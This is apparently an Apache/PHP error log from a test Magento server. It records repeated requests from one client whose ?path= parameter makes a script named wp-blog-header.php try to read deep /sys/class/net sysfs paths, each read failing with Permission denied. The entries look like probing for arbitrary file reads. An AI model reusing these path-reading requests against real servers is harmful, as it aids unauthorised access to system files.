[Thu Mar 26 11:49:55.080317 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec
[Thu Mar 26 11:49:56.116965 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ea
[Thu Mar 26 11:49:56.718919 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ec
[Thu Mar 26 11:49:57.875044 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ac
[Thu Mar 26 11:50:03.716254 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac
[Thu Mar 26 11:50:09.537832 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ac
[Thu Mar 26 11:50:14.889907 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:50:17.050280 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:50:18.617463 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:50:19.685910 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec
[Thu Mar 26 11:50:20.792398 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:aa
[Thu Mar 26 11:50:25.014173 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:50:28.195595 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce
[Thu Mar 26 11:50:30.892603 2026] [php:warn] [pid 3106405] [client 74.7.241.26:42742] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:50:40.682008 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:fa
[Thu Mar 26 11:50:46.917839 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 11:50:48.477408 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:50:49.012063 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/device:ec
[Thu Mar 26 11:50:50.095389 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:50:56.475172 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:50:58.626047 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:51:00.706621 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:51:07.533931 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ac
[Thu Mar 26 11:51:09.165852 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:51:13.306908 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:da
[Thu Mar 26 11:51:15.411449 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ca
[Thu Mar 26 11:51:20.105447 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/drivers/ec
[Thu Mar 26 11:51:22.828670 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:51:23.889662 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:51:24.405989 2026] [php:warn] [pid 3107073] [client 74.7.241.26:44410] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:fc
[Thu Mar 26 11:51:33.583913 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:bc
[Thu Mar 26 11:51:35.772390 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ea
[Thu Mar 26 11:51:38.396017 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ec
[Thu Mar 26 11:51:40.471212 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ac
[Thu Mar 26 11:51:42.604068 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ee
[Thu Mar 26 11:51:43.225919 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:51:47.424885 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:de
[Thu Mar 26 11:51:48.459231 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:51:49.482089 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ca
[Thu Mar 26 11:51:55.796468 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:be
[Thu Mar 26 11:51:56.885325 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:51:58.361031 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ac
[Thu Mar 26 11:52:00.957493 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:52:05.683287 2026] [php:warn] [pid 3106405] [client 74.7.241.26:60156] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
